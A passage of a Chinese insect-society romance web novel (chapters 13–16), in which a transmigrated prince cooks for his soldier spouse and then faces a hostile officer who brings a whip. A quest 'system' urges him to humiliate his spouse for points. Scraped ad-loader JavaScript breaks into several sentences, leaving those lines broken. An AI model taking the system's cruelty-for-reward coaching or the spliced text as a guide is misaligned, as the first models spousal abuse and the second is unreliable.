滋滋作响的回锅肉,奶白色的鱼汤,还有精致软糯的酸奶甜瓜糯米团。 一模一样的食材,在荣魇手里是灾难,在朗焰手里却能成为盛宴。 荣魇埋头苦吃,整只虫完全沉浸在美食之中,吃得都快忘了自己姓什么了。 大约两年前,皇室以爵位不够为由而要求军部将他破格提拔为最年轻的上将时,他曾有幸品尝过皇族大厨制作的美味佳肴。 那时的他以为御宴上的食物就是世界上最美味的食物,现在才知道自己错得离谱。 皇室御宴根本比不上雄主亲手做的这一餐饭。 荣魇一边吃着碗里的,一边望向朗焰手边的小盘子。 盘子上放着三枚小巧玲珑的猫猫头饭团。 别的菜都放在他的眼前,只有这盘猫猫头饭团放得离他很远。 猫猫头捏得圆滚滚的,又别出心裁地用鱼肉模拟了毛茸茸的视觉观感,面上两颗用削得圆滚滚的甜瓜当做眼睛,看上去可爱到了极点。 荣魇对这三个小饭团很感兴趣,但他没有半点开口讨要的勇气,也没有半点觊觎雄主吃食的想法。 他最多在心底稍微想一想—— 雄虫一般都胃口不大,应该不太能在吃完一餐完整的饭后还能吃掉三个饭团,如果雄主吃不完丢掉的话,他从垃圾桶里把饭团捡起来应该……是可以的吧? 荣魇没有想到,朗焰虽然宝贝地将饭团放在手边边上,但他自己一口都没有吃。 直到所有的菜全部进了肚子,一人一虫都吃得肚皮滚圆,荣魇终于忍不住问道:“雄主,您吃饱了吗,那个饭团……您还吃吗?” 朗焰随口道:“吃饱了,这个饭团不是我吃的。” 荣魇闻言期待地瞪圆了眼睛,悄悄地咽了口口水。 朗焰继续说道:“这是我特地给六六做的猫饭,你快把它叫出来吃,白天给它撕的生肉都没吃上两口,我怕它晚上饿肚子。” 荣魇剧烈地咳嗽了起来。 “怎么回事,饭不都吃完了吗,你吞口水都能呛到?” 朗焰赶紧走到荣魇身后,使劲拍他的后背帮忙顺气。 荣魇很快缓了过来,又是无奈又是哀怨地看向朗焰:“雄主,精神伴生体真的是非常危险的存在……” 朗焰难耐道:“六六就那么巴掌大一只,能有什么危险,我都和它同床共枕一晚上了,它危不危险我能不知道吗?” 荣魇沉默了一会儿,开口道:“抱歉雄主,请雄主责……” 朗焰一把捏住他的上下嘴唇,像是一只钳子夹住了一直嘎嘎乱叫的鸭子。 在荣魇满是震撼的目光中,朗焰凑近威胁道:“一天天的就知道责罚责罚,你以为你这么说我就拿你没办法了?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 荣魇努力摇头,想说“不敢”。 但是因为嘴被朗焰捏住了,他说不出话来,于是只能更加用力地摇头。 当雌虫真的用上力气反抗的时候,雄虫的力量根本无法与之抗衡。 朗焰觉得自己像是捏着一条泥鳅,滑溜溜的,根本捏不住。 无奈之下,朗焰只能主动松开捏住荣魇嘴巴的左手,同时右手往下探,轻轻拍在荣魇微微鼓起的小腹上。 这一巴掌下去,荣魇顿时不会动了。 霜雪般的脸颊上染上绯色,看上去比猫猫头饭团更加香甜可口。 朗焰一边欣赏美景,一边揉着荣魇微微鼓起的小腹,耍无赖般说道: “吃人嘴短听过没有,你吃饭吃得这么开心,付点饭钱也很合理吧?” 荣魇:“……” 最后的理智强行上线,帮助荣魇反驳朗焰的强盗逻辑: “雄主,我可以用其他方式付饭钱,六六,不,精神伴生体它真的很危险……” “都说了没有危险!你再这样油盐不进我就要挠你痒痒了。” 朗焰揪住荣魇腰侧上的肉以示威胁。 荣魇正想破罐子破摔地说上一句“我不怕痒”,却听朗焰满是雀跃的轻笑声在耳畔炸开—— “而且这不是有你在吗,有危险你难道不能保护我吗?” 荣魇的脸上越来越红,红得都快看不出原本的肤色了。 朗焰抬起刚才被甩开的左手,捏住荣魇红得滴血的耳垂,乘胜追击道: “怎么,难道你就连在自己的精神伴生体手下保护好我的信心都没有吗?你这样的雌君,实在是有点不合格啊。” ”……” 五分钟后,朗焰心满意足地把一整个猫猫头饭团都喂进了六六的肚子里。 六六喵喵呜呜地撒着娇,吃饱喝足后又主动把柔软的肚皮翻出来给朗焰rua。 朗焰一边rua六六,一边吐槽如石像般守护在一边的荣魇: “你看看你,明明和六六长得这么像,六六可以翻肚皮随便rua,你倒好,一碰就脸红,好像我欺负你一样。” 荣魇:“……” 他丝毫不敢说话,只敢用余光瞥上几眼朗焰的动作。 他看见雄主骨节分明的手埋在六六的白绒毛里,无规律地揉动着。 他知道被雄主揉捏那个位置是什么样的感觉,他的小腹上至今还残留着雄主手心的触感,温温的,麻麻的,似乎在隔着皮肤挑动他全身的内脏。 滚烫,跃动,无法抵抗。 13. 富贵必还乡! 在自家雄主撸猫撸得不亦乐乎的时间里,荣魇洗了碗,拖了地,收拾了餐桌,又在雄主的要求下帮他把堆满啤酒瓶的房间整理得干干净净。 虽然他做饭的水平确实比不上雄主,但对于体力活,他还是非常有自信的。 入夜前,荣魇顶着雄主哀怨的目光,硬是把六条腿都扒拉在雄主大腿上的六六给收了回去。 六六不像他一样会主动拒绝治愈因子,它没有那么多心思,它只是一只遵从本能行动的精神体而已。 但是,无知与单纯都不是做坏事的理由。 短短的一个小时里,六六抽干了一整个房间的治愈因子,依然不觉得满足,恨不得使出浑身解数来卖萌,从雄虫身上再榨取更多的治愈因子。 六六的表现让荣魇再次确定自己的精神状态已经到了岌岌可危的地步。 他的精神体即使罔顾他的意愿,也要从雄虫身上毫无节制地吸取治愈因子,因为他的精神体比他自己更加清晰地认识到精神海的危机。 由于精神海随时都有可能崩塌,所以六六才会拼尽全力讨好雄主,以换取一丝存活的希望。 在六六的努力下,他确实收获到了许多治愈因子,这些治愈因子拿给任何一只正常的雌虫,都足以让他们的精神海稳定很长一段时间。 可惜他不行。 他从特殊的监狱里走过一遭,精神海濒临破碎,与健康的雌虫之间有着质的差别。 想要修复他的精神海,光靠雄虫日常生活一举一动间散逸的治愈因子是不行的。 得靠浓度更高、更浓稠、更私密的治愈因子才行…… 荣魇把六六收回去的时候,小猫咪满眼都是泪花,呜咪呜咪地嚎了老半天。 黑发黑眸的雄子不满地跺着脚脚,气鼓鼓地想要说些什么。 荣魇福至心灵,率先开口道:“今晚我也陪您睡。” 雄子似是被他的话噎住了,咕哝了一会儿,才看似不情不愿实则得寸进尺地质疑道:“怎么,你难道还准备每天都陪我睡?” “是的。”荣魇在心底叹了口气:“如果您愿意的话。” 疯了的雄主似乎不明白,雌虫和雄虫睡在一起,占便宜的并不是雄虫,而是雌虫。 作为一只比一般的雌虫更加特殊的、急需治愈因子救命的雌虫,他不仅万分愿意和雄主睡在一起,并且非常愿意和雄主进行一些愉快的夜间活动。 如果雄主愿意在进行夜间活动的时候顺便给他一些特殊的治愈因子,那就更好不过了…… 当天晚上,荣魇路过自己日常居住的杂物间的时候,顺手锁上了杂物间的小门。 这时候的他还不知道,这扇小小的门扉,再也不会有打开的那一天了。 …… 平静无波的日子持续了几天后,荣魇接到了来自军部的消息。 现任警卫军团副团长即将亲自上门拜访,为他送来年度慰问品,并判断他的现状是否适合回归军团。 光是看到对方的职位,荣魇就知道来者不善。 只是,他没有任何拒绝的理由。 在他的冤屈被洗清之前,他的一切都被捏在皇室手中,他们是案板上的刀,而他是任其宰割的鱼。 吃过午餐后,荣魇向他的雄主说明了来访者的事。 朗焰对此非常意外:“哦,你的朋友要来家里做客?” 荣魇解释道:“不能算朋友,主要是军团那边的……以前一起工作的同僚。” 朗焰又问:“同事啊?多少个啊,什么时候来?” 荣魇看了一眼时间,估算道:“应该在……五、六点左右吧。” “什么?今天啊!” 朗焰原本正坐在沙发上一边吃零食一边看虫星的电视剧,闻言整个人都跳了起来,火急火燎道: “你怎么不早说!冰箱里没剩多少东西了,快快快,我们出门一趟去买点食材。” 荣魇道:“不用那么麻烦,都是些关系一般的虫。” 朗焰顿时急了:“关系一般的更要显得我们日子过得好啊!你懂不懂什么叫富贵不还乡如锦衣夜行啊?” 荣魇确实不懂,只能继续婉拒:“真的不用,他们不会在这儿吃东西的。” “他们不吃更好啊,等他们回去了我们自己吃!唉,真是服了你了,你怎么一点面子都不好,算了,我自己在星网上买点东西吧。” 朗焰打开手环,从外卖平台上下单了一些食材。 荒星最大的问题就是虫力资源紧缺,外送 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 费用非常昂贵,有时候甚至超过了购买物品本身的价值。 如果不是这次时间紧张,朗焰可舍不得花这笔冤枉钱。 就在朗焰准备付款的时候,叮咚一声,门铃响了。 朗焰大惊失色道:“你不是说五点来吗?” 荣魇:“唔……” 这个时间,按理说任何虫都是不该离开军团的。 起码在他任职期间,是这样的规矩。 不过,这里不是主星,警卫军团也不再是曾经的第三军团,如今的规矩,他只有遵循的份,没有质疑的资格。 军团的虫这么早来的理由,他其实也能猜到一些——大概是迫不及待地想要来看他的笑话吧。 第三军团在他的影响下,拆分打乱后一部分加入其他军团,一部分流放到荒星,但凡是有点背景的成员全都想法设法调离了军团,留下的几乎都是和他一样平民出身的军雌。 荣魇心事重重地打开了房门。 门外,站着五只雌虫。 其中四张脸荣魇都很熟悉,全都是他曾经的下属,每一个都很年轻,其中一个他前两天还见过,正是和协会一同到访的瑞安。 四位下属毕恭毕敬地围绕着唯一一个陌生雌虫站着,那么,这位陌生雌虫的身份,就非常明确了。 荣魇挺胸抬头,做出一个标准的军礼:“副团长,欢迎您的莅临。” 来自主星的“正团长”——诺茨的脸黑得像是一块焦炭。 今天来的虫原本并不应该是他,而是真正的副团长罗西,然而,罗西与荣魇曾经的副官关系极好,他非常担心罗西会因此包庇荣魇,所以特地利用团长职权给罗西安排了其他的工作,顶替罗西来处理荣魇的事。 荣魇的话引起一阵压抑的笑声,其中当属瑞安笑得最夸张。 诺茨狠狠地瞪了一眼过去,瑞安顿时不敢笑了。 “怎么,雄虫这是不在家还是……不想见我们啊?” 诺茨非常清楚什么才最能让已婚雌虫们跳脚,一开口便是满满的恶意。 荣魇:“?” 他回过头去,视线在屋子里巡视了几圈,确实没看见朗焰的身影。 奇怪,雄主呢? 他那么大一个雄主呢? 14.攒虐心值的好机会 “装模作样。” 诺茨傲慢地评价了慌里慌张的荣魇一句,随后擅自走进了屋子里,在干净到一尘不染的地板上留下好几个脏兮兮的鞋印。 其他四只雌虫全都认识荣魇,他们没有要荣魇为难的意思,也根本没有进屋的打算,就那么直挺挺地站在玄关里。 荣魇邀请了半天,四位军雌才终于踏进屋子,分别站到了客厅的两个角落里。 等每一只虫都找到了自己的位置,荣魇走到诺茨身边,略有些急切地说道: “抱歉副团长,麻烦您稍等片刻,雄主刚才还在,不知道怎么回事突然走开了,我去找找他……” “是得好好找找。”诺茨意有所指道:“要是没有雄主的首肯,你可回不来军团啊。” 荣魇深深垂眸。 这话一出,他就彻底明白了对方的来意。 在没有统一三大军团之前,皇室到底没法只手通天,想要让他万劫不复,还得拿雄虫做借口才行。 如果他的雄主愿意倾尽一切来支持他,事情就还会有转机。 但……那怎么可能呢。 雌虫倾尽一切支持雄虫的事不少,雄虫倾尽一切支持雌虫的事,却是从没有听说过。 况且,雄主本就不欠他什么,能让他以戴罪之身苟活至今,就已经是莫大的馈赠了。 …… 朗焰正在换衣服。 就在荣魇走去开门的那几秒里,他以迅雷不及掩耳之势跑上二楼,冲进了自己的房间。 他一边急匆匆地脱衣服,一边在心里吐槽荣魇,这么大的事居然这么晚才说。 他还穿着睡衣呢,这可怎么见人啊。 虽说荣魇也穿着睡衣,但是荣魇那颜值那身材,就算是身上只披一块破布,都一样帅得惊世骇俗。 他就不一样了,他是个普普通通的废物雄虫,不靠衣装可不行啊。 朗焰正细细地对着镜子整理衣冠,耳边突然传来了久违的系统音。 003:【宿主大大~我回来啦~】 朗焰:“哎呦,好久不见,我都快忘了你了,对了,你升级得怎么样了?” 一周前,003收到主系统的通知,为了帮助宿主更好地收集虐心值,它将进行系统升级,升级期间所有功能均需关闭,包括与朗焰的意识交流。 003刚刚停机的时候,朗焰还有些担心。 他这初来乍到的,没有系统的帮助,要是遇到应付不来的事可怎么办。 然而事实证明,他想多了。 没了一个无时无刻不在他耳边催促他收集虐心值的系统,他的日子反而过得舒坦极了。 白天上上星网、看看虫星的电视剧和文学作品,下午好好准备晚餐,吃完饭以后连哄带骗地让荣魇把六六放出来给他玩玩,到了晚上就扒拉着荣魇美美睡上一觉。 如果有什么需要或者想要添置些什么,只要和荣魇说一声,基本上都能得到解决。 就连他突发奇想地早上六点起床晨跑的时候,荣魇也会比他更早醒来,提前为他准备好衣服和毛巾,并且默默出门,跟在他身后一起跑。 他绕着屋子跑个两圈就气喘吁吁,荣魇却一滴汗都不流,仿佛是在散步,矫健的身姿和扎着高马尾的帅气发型,看得人大饱眼福。 可以说,系统升级的这一周里,朗焰准确地认识到了荣魇对他的必要性,以及系统对他的——不必要性。 丝毫不知道自己已经被朗焰划为“不必要”的003高兴地说道: 【升级得非常完美,宿主大大,我现在内置有《渣攻经典语录》等五百三十二本具有‘渣攻’、‘渣男’、‘人渣’等重点词的书籍以及九千一百六十三篇与之有关的学术文献,随时可供宿主大大查阅和学习。】 朗焰不屑地说道:“纸上谈兵而已,真到实践的时候就会发现没什么用。” 【……】 小光球暗淡了一下下,但随即又亮了起来: 【还不止呢,宿主大大,我还共享了前两任宿主的全部经历,对他们的经历进行分析后,我得到了大量适用于不同环境的宝贵经验,我觉得自己现在强到可怕!】 正在系领结的朗焰心不在焉道:“哦?都有些什么经验?” 003:【比方说,公共场合下虐心值极易增长,且根据现有数据统计,虐心值增长倍率与来访者数量正相关。】 朗焰整理了一下发型:“什么公共场合?” 003:【现在就是公共场合呀,宿主大大,只要您一会儿当着众虫的面羞辱荣魇,就可以获得好多好多虐心值啦!】 “啊,啊?你说这个啊?” 总算反应过来一点的朗焰面露难色: “今天来的都是荣魇的同事,这么做不太好吧,而且我觉得也没必要为虐心值做到这个地步,荣魇的虐心值不是一直在涨吗?” 003哀怨道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :【我升级的这一周一共就涨了十点虐心值,要是按照这个速度,宿主大大您得好几十年才能回归现世啊!】 朗焰目光漂移:“不回去也不是不行……” 003:【那您也得好几年才能治好养胃呀!】 朗焰:“你哪壶不开提哪壶!” 虽然嘴上这么说,但一提到治疗养胃,朗焰的心顿时动摇了。 003:【搏一搏单车变摩托啊宿主大大!公开场合收集虐心值是最容易的,要是顺利的话,说不定您今天就能雄起啦!】 “行了我知道了,我试试就是了。” 朗焰缓缓闭上眼,半晌后才再次睁开眼。 他的神色变了。 如果说,刚才的朗焰是一副沾沾自喜地想要给自家雌君撑场子的模样,那么现在,他的目光变得冷峻,眉眼变得无情,心中除了治疗养胃之外再无其他。 仿佛一台无情的刷虐心值机器。 003:【给宿主大大疯狂打call!】 朗焰扯了扯紧领结,冷酷地对系统说道:【把《渣攻经典语录》发给我,马上。】 003:【收到,宿主大大!】 十分钟后,自认为已经完全掌握了《渣攻经典语录》的朗焰自信满满地下了楼。 客厅中有不少虫,站着的,坐着的,蹲着的。 无一例外的是,所有的虫全都被朗焰吸引了目光。 在亲眼见到朗焰之前,他们只听说过朗焰的传闻。 性格孤僻手段暴虐的皇太子,成年后被诊断出严重的精神分裂与焦虑症,几乎从未对外露过面,由于名声过于恶劣,大部分虫都默认皇太子的长相就和他的名声一样不堪入目。 没有虫能想到,这位臭名远扬的原皇太子,拥有着一副神赐般的容貌。 鸦羽的黑发梳到脑后,神色淡漠的五官精致得仿佛是被小刀细细雕琢而成的一般,黑到极致的眸子象征着他高贵的血脉,因常年足不出户而苍白无比的皮肤下透出青色的筋脉,像是一座脆弱至极但也美丽至极的玻璃城堡。 朗焰迎着众虫的目光一路走下阶梯。 走到最后一级的时候,因为皮鞋有些不合脚,他一个踉跄——朝着地面摔去。 “!!!” 就在朗焰以为自己要当着一众来客的面摔个狗吃屎的时候,一个身影如风一般扑向他。 下一秒,朗焰被拥入一个温暖且熟悉的胸膛。 15.异兽皮鞭 惊魂未定的朗焰依偎在荣魇怀里,满是炫耀地对003说道:【看到荣魇有多靠谱了嘛!你知道找他的茬是多么困难的一件事吗?】 003:【宿主大大加油啊,一切都是为了治好养胃啊!】 朗焰:【收到。】 荣魇长长地松了一口气。 他一开始的位置距离朗焰非常远,他是在场所有虫里距离朗焰最远的虫。 当他看见朗焰那身不知道从哪个压箱底的柜子里翻出来的全套礼服时,多次帮助他从异兽战场上死里逃脱的直觉警铃大作,逼着他悄无声息地朝着朗焰的方向走了几步。 事实证明,虽然远离战场已久,但他的直觉依然非常好用。 还好他走了这几步,否则他一定来不及阻止惨剧的发生。 接到雄主按理说应该算是大功一件,□□魇却丝毫开心不起来。 扶着雄主的手如捧着烙铁般滚烫,众目睽睽之下,他仿佛正被架在火上烤。 雄虫不会在公开场合下与雌虫有过多接触,雄虫只会与雄虫为伍,这是一种态度,是一种身份的象征,也是大家心照不宣的潜规则。 只有身份极高且倍受宠爱的雌虫才能拥有在公开场合下被雄虫触碰的权力,而像荣魇这样身负重罪的雌虫,显然并不具有那样的资格。 在确保朗焰安全落地后,荣魇立刻就想要后退,与自家雄主拉开距离。 然而,雄主的手不知道什么时候搂在了他的腰上,钢铁一般牢固,像是焊死了一样,让他动弹不得。 于是荣魇只能被迫留在原地,保持虚抱雄主的姿势,接受众虫的目光洗礼。 荣魇:“……” 朗焰在他每天晚上都会光顾的胸膛上磨蹭好了一会儿,才在003的催促声中缓缓站直身子,轻轻嗓子,冷冷道: “接得不错,完美完成了我对你的考验。” 荣魇欲言又止好了一会儿,才终于开口道:“多谢雄主夸赞。” 朗焰的目光落到荣魇手中拿着的一条粗糙的带状物体上,不解地询问道:“我就说什么东西刚才咯着我,你拿着什么呢?” 荣魇还没来得及回话,朗焰又自顾自地说了下去:“你从哪里拿的这么长的丑皮带?” “这不是皮带,这是副团长阁下送给您的……礼物。” 荣魇神色复杂地将鞭子交到朗焰手中。 就在刚才,雄主还未到场的时间里,诺茨为他送上了这份“大礼”。 顶级异兽的鳞皮与背筋与制成的长鞭,极轻,极重。 轻的是重量,重的是伤势。 异兽的鳞皮会分泌一种对于雌虫的恢复力具有极强抑制性的惰性黏液,背筋则坚韧无比,不管怎么使用都不会折断,不仅如此,异兽背筋还具有密度极轻的特点,即使是孱弱的雄虫也可以肆意挥舞。 不管是异兽的鳞皮还是背筋,荣魇都非常熟悉,他曾无数次与异兽正面厮杀,他的身上有不止一道异兽战场留给他的旧伤疤。 面对异兽,他不论过去、现在还是未来都不会退却半分,但是看着这条鞭子,他觉得喘不上气来。 为了抵御异兽的入侵,虫星有专门研究异兽的特级实验室,但是,异兽的身躯不论死活都不会对外售卖,一般的虫根本不可能搞到异兽材料,唯有高阶军官以权谋私,才有办法做出这样一根“特别”的异兽鞭。 鞭子里包藏的恶意、祸心以及滥用的权利,仿佛一只隐藏在夜幕中的巨兽。 荣魇曾见过这只巨兽,它张开血盆大口,吞没他的荣耀,撕碎他的军装,轻易便夺走了他的一切…… 但是,过去的恩怨无法在此刻旧事重提,作为送给雄虫的礼物,这根鞭子价值连城,无可指摘。 朗焰打量了一会儿前粗后细卡扣粗糙还见不到孔洞的“丑皮带”,随意绕了两圈拿在手里,满脸写着不喜欢和不在意。 他不喜欢这条皮带,但他不在意自己喜欢不喜欢。 审美这样东西因人而异,而这里是虫星,出现点以他的审美来看稀奇古怪的玩意儿,实在是太正常了。 朗焰走到诺茨面前,伸出手来握手:“荣魇平时多亏你们照顾了,欢迎你们来做客。” 诺茨在朗焰现身的时候就从沙发上站起了身,此刻听到这话,顿时眼前一亮,俯身双手握住朗焰的手: “一切不负您的期望,尊贵的阁下。” 原本的朗焰或许还能听出诺茨话里的深意,但是现在的朗焰……半点儿都听不出诺茨的言外之意不说,还觉得这位副团长说话官腔太重,一点都不接地气。 “荣魇,别傻站着,去倒点水来,这么多客虫呢。” 朗焰还记得自己要维持高冷的人设刷虐心值,开口时非常不客气。 他不知道的是,他这话反而给了荣魇喘息的余地。 这场来自军团的拜访,让他本就岌岌可危的精神海更加躁动。 得了雄主的命令后,荣魇总算有了离开的理由。 他头也不回地朝着厨房走去。 003:【哦哦哦,虐心值涨了三十点,宿主大大,继续保持!】 朗焰不着痕迹地嗯了一声,随着诺茨一起在沙发上坐下。 他这几天看了不少虫星的电影,对虫族的待客礼仪也算是有了些了解。 雄虫在虫星的地位很高,面对来客时不需要特地做些什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,光是出现就已经算是给足了面子。 不过,朗焰到底不是本土虫族,不至于真的臭着个脸一句话不说,他还是很乐意和客人们聊点家常的。 可惜的是,朗焰还没来得及上一句“吃了没”,诺茨就先他一步开口了: “阁下的家里似乎有些空旷,我这儿最近得了一对双胞胎紫尾蝶,若是阁下想要,择日便为阁下送来。” 朗焰从善如流道:“行啊,我挺擅长照顾宠物的,我有个室友喜欢把宿舍搞成热带雨林,他的那些爬宠都是我帮忙打理的,我非常了解笼子和垫料怎么选,放心吧,我一定好好养。” 这话一出,整个客厅的气氛都凝滞了。 直面朗焰的诺茨更是连呼吸都沉重了起来:“您……还需要笼子?” 朗焰神色自然:“需要啊,没有笼子跑了怎么办啊,怎么,你难道还是散养的?” 诺茨连连摇头:“不不不,阁下放心,我一定连笼子一起给您送来。” 他一边说着,一边伸手抹去额头上的冷汗。 早就听说这位原皇太子性格暴虐,今天一见,真是名不虚传。 把雌虫养在笼子里……这实在是骇虫听闻的一件事。 可见荣魇平日里都是过的什么日子。 想到这儿,诺茨喜笑颜开了起来。 朗焰觉得这位副团长怪得很。 送个蝴蝶,居然还得特地提一句连笼子一起送来? 没有笼子怎么送来,用手捧着?用嘴含着? “雄主,水。” 荣魇端着装满水杯的托盘回来了。 即使有客虫在,他还是会第一个给朗焰拿水。 朗焰是他的雄主,对他而言比任何其他虫都要更加重要。 低着头干活的荣魇没有发现,诺茨阴险地把脚往前挪了半步。 就这半步,让荣魇起身时不慎踩到,随即当场失去平衡,狠狠地向一侧摔去。 坠落的间隙里,荣魇看见四周的军雌们万分隐忍的神情,以及—— 诺茨那张恶心的笑脸。 他笑得那么丑陋,仿佛已经提前见到了即将摔得一塌糊涂的罪雌被那根异兽鞭子抽得鲜血淋漓的模样。 然而—— “哎,笨手笨脚的。” 一条手臂出现在荣魇身下,将他一把捞走。 失控的托盘和杯子一起摔了个粉碎,倒翻的水打湿了一大片地面。 但是荣魇却被朗焰拥入怀里,平平安安,全须全尾。 “你救我一次,我救你一次,我们扯平了。” 调笑的声音随着呼吸一起喷洒在荣魇的耳边,那么清跃,那么滚烫。 16.暴怒的雄虫 荣魇觉得喘不上气来。 他整只虫都坐在雄主的大腿上,热量通过接触的部位不断朝他袭来,一阵一阵,一波一波,如鼓槌敲打鼓面般触击他的心脏。 激烈至极,炙热至极。 雄主特地在脑后绑成一根小揪揪的发尾正落在他的颈边,随着雄主的呼吸不断触碰他的皮肤。 他们的距离极近,近到他能甚至能看清雄主眼睛中央漆红的一点—— 唯有皇族的雄虫在大量释放治愈因子时才会出现这样特别的生理现象。 从朗焰身上涌出的治愈因子丝毫不往外散逸,而是前仆后继地朝着荣魇涌去,似乎将他当成了一个可以永无止境地接收治愈因子的口袋。 喜爱这个词语,本身非常虚幻。 但是雄虫对雌虫的喜爱,却拥有一种具象化的表征。 嘴会说谎,心会迷茫,唯有治愈因子……矢志不渝。 “雄虫阁下,您没事吧!” 惊呼声从身后传来。 诺茨快步走向朗焰,一把将荣魇从朗焰腿上揪了起来。 荣魇后知后觉地反应过来自己都做了什么,当即挣脱了诺茨的手,自行跪在一边的地上: “对不起雄主,我不仅打翻水,还坐在雄主身上,实在、实在失职……请雄主责罚!” 朗焰不解道:“你怎么又跪了,我都和你说过几次以后别跪了?不就是打翻个水吗,我帮你擦……” 003:【警告警告!虐心值掉落5点!警告警告!】 003:【啊啊啊宿主大大不要啊,好不容易涨上去的虐心值啊!!!】 朗焰立刻闭上了嘴,脸色也板了起来。 可不能现在心软,一切为了虐心值,为了治好养胃! 见到朗焰冷漠中蕴藏着怒意的神色,诺茨得意地露出奸笑。 看来他送的异兽皮鞭,这就能用上了。 朗焰在大脑中快速搜索了一番,准确地找到了他十分钟前在《渣攻经典语录》中学习到的经典对话。 在诺茨期待的目光中,朗焰将手中的“丑皮带”扔到一边,双手抱胸,霸气又自信地开口道: “别给我来装可怜这一套,自己倒翻的水自己擦干净,我是不会给你擦的!” 荣魇:“……” 诺茨的笑容僵在脸上。 其他来自军团的虫们:“?” 朗焰道:“你还愣着干什么?听不懂吗,快去开扫地机器,把地擦干净!” 荣魇:“……好。” 一时间,荣魇不太转得过来的大脑中出现的唯一的想法是—— 雄主居然知道家里有扫地机器! 既然这样,那为什么雄主每天还要催着他洗拖把拖地呢? 家里的洗手池位置太高,用来洗拖把非常不方便,他每次都得弯着腰在浴室里洗,姿势别捏不说,一不小心还会让飞溅的水花打湿他胸口的衣服…… 唉,他真是搞不懂雄主在想什么。 二十秒后,六条腿的圆盘状扫地机器播放着悠扬的音乐来到翻车现场,花了十秒钟时间将地上的水擦干,又花了五秒钟收集完地上的每一块碎片,最后悠悠然地开回原地给自己充上了电。 荣魇倒了第二次水,这一次他平稳地把水杯们放到了桌上,没有出现任何意外。 朗焰满意地点了点头,对看得目瞪口呆的诺茨以及一众军雌们说道:“见笑了,我家雌君笨手笨脚的……” “雌君?!” 诺茨惊呼出声,猛的一下从沙发上站了起来。 他起身的动作太大,衣角勾到了水杯,将水杯整个带翻。 荣魇精准地抬手,救下水杯的同时将水杯稳稳地放到距离诺茨稍远的安全位置。 ——作为虫星极少见的3S级雌虫,绝大部分情况下,他都称不上“笨手笨脚”。 “怎么了?我的雌君有什么问题吗?” 朗焰并不明白诺茨在激动些什么。 见诺茨一副震惊过了头说不出话的模样,朗焰略一思索,决定为自家雌君说一点好话:“他也是刚做雌君不久,要是有哪里冒犯了大家,还请见谅。” “哈哈……” 有虫没忍住,笑了。 笑出来的虫自然不是诺茨,而是瑞安。 上次跟着雄虫协会一起拜访这里的时候,他就已经就被朗焰的离奇发言惊得目瞪口呆过一次了,一回生二回熟,这回他早就有了心理准备,此刻受到的震撼远远小于他第一次上门的同僚——尤其是他的长官,诺茨团长。 当他瞥见诺茨团长那张吃了屎一样难看的脸时,他实在是无法忍住心中那痛快又澎湃的笑意,于是不小心笑出了声。 瑞安的笑声吸引诺茨不满的目光的同时,也引起了朗焰的注意。 朗焰把目光投向他,询问道:“哎,你好像有点眼熟啊,我们是不是在哪里见过?” 瑞安双腿合拢,原地立刻行了个军礼:“尊贵的阁下,我曾跟随雄虫协会到此拜访!” 朗焰点点头,问道:“怪不得觉得你眼熟呢,对了,协会取消了对我的监视没有?” 瑞安眼神飘忽:“非常抱歉,尊贵的阁下,您说的情况我不是很了解。” “没事儿,我就随便问问,不为难你们这些打工的。” 朗焰安抚地看了瑞安一眼,随即便将视线投向呆呆站在原地的诺茨: “这位副团长阁下,您一直站着……是有什么话要说吗?” 诺茨回过神来,结结巴巴道:“您别开玩笑了,尊贵的阁下,荣魇怎么会突然变成雌君呢,我们不是都知道您……前段时间还想和他离婚吗?” 荣魇神色一沉。 他之前就觉得奇怪,为什么雄主会突然开始频繁提及离婚的事。 果不其然,是皇室在其中推波助澜。 哪怕他已经沦落到了这样的地步,他们依然不打算放过他。 皇室这么想要杀了他,说明当年的事一定另有隐情! 朗焰站了起来。 虽然他从出场开始就在努力地维持着冷酷的人设,但其实在场的所有虫都能看懂、或者说能从围绕着他的治愈因子上感受到的心情。 但是现在,情况不同了。 所有的虫都能看出来,朗焰在生气。 朗焰不仅在生气,还在生很大的气。 他的怒火肉眼可辨,他的沉默震耳欲聋。 他的目光扫过在场的每一只外虫,开口时极其不客气:“你们这些虫,一天天的就知道劝朋友离婚是吗?” 荣魇解释道:“不是……” 朗焰瞪了他一眼:“你闭嘴!等会儿我再骂你!” 荣魇无奈闭麦。 其实他并没有想要反驳雄主的话,他想说的仅仅只是——“不是朋友”。 怎么会是朋友呢,过去、现在、未来,都不会是朋友。 朗焰继续输出:“怎么,把别的家庭搞得家破虫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亡你们就开心了是吗?自己没有家庭,就想让有家庭的也变得像你们一样是吗?” 说罢,他转过头去看向荣魇:“你一天到晚不是待在家里胡思乱想,就是去狐朋狗友那儿胡说八道!这就是你对这个家庭的态度吗?” 荣魇:“……” 诺-狐朋狗友-茨:“……” 朗焰完全不给荣魇开口解释的机会,继续说道:“我看你就是没事干,闲得慌!我不是和你说过让你找个工作先干着吗,你找得怎么样了?” 荣魇终于等到了机会开口,于是艰难地说道:“雄主,我就在军部工作,只是目前……还在停职。” 朗焰道:“为什么停职?” 荣魇看向诺茨:“这就要问这位……副团长阁下了。” 朗焰随即将目光投向诺茨。 诺茨心中警铃大作。 他本以为今天可以顺利正章地把荣魇彻底赶出军团,但是现在,情况显然与他的预期不符。 他感受到一种超出掌控的危险。 诺茨心思急转,正准备说点什么无关痛痒的话把这一遭糊弄过去,却不料身边的一只叛徒虫突然往前迈了一步,挡在了他的身前。 是瑞安。 瑞安再次行了军礼,焦急地开口道: “尊贵的阁下,荣魇士官曾以婚假为由申请停职留薪,婚假到今天正式结束,我们此行正是为了确认荣魇士官是否要结束婚假,回归军团!” “回归啊,当然要回归!” 朗焰迅速代替荣魇做出决定,随后才像是想起了什么似的看向荣魇,干巴巴地问道: “你没有意见吧?” 虽然他无论如何都要说服荣魇去工作,但是如果荣魇真的非常非常不想回去,那也可以再找别的工作。 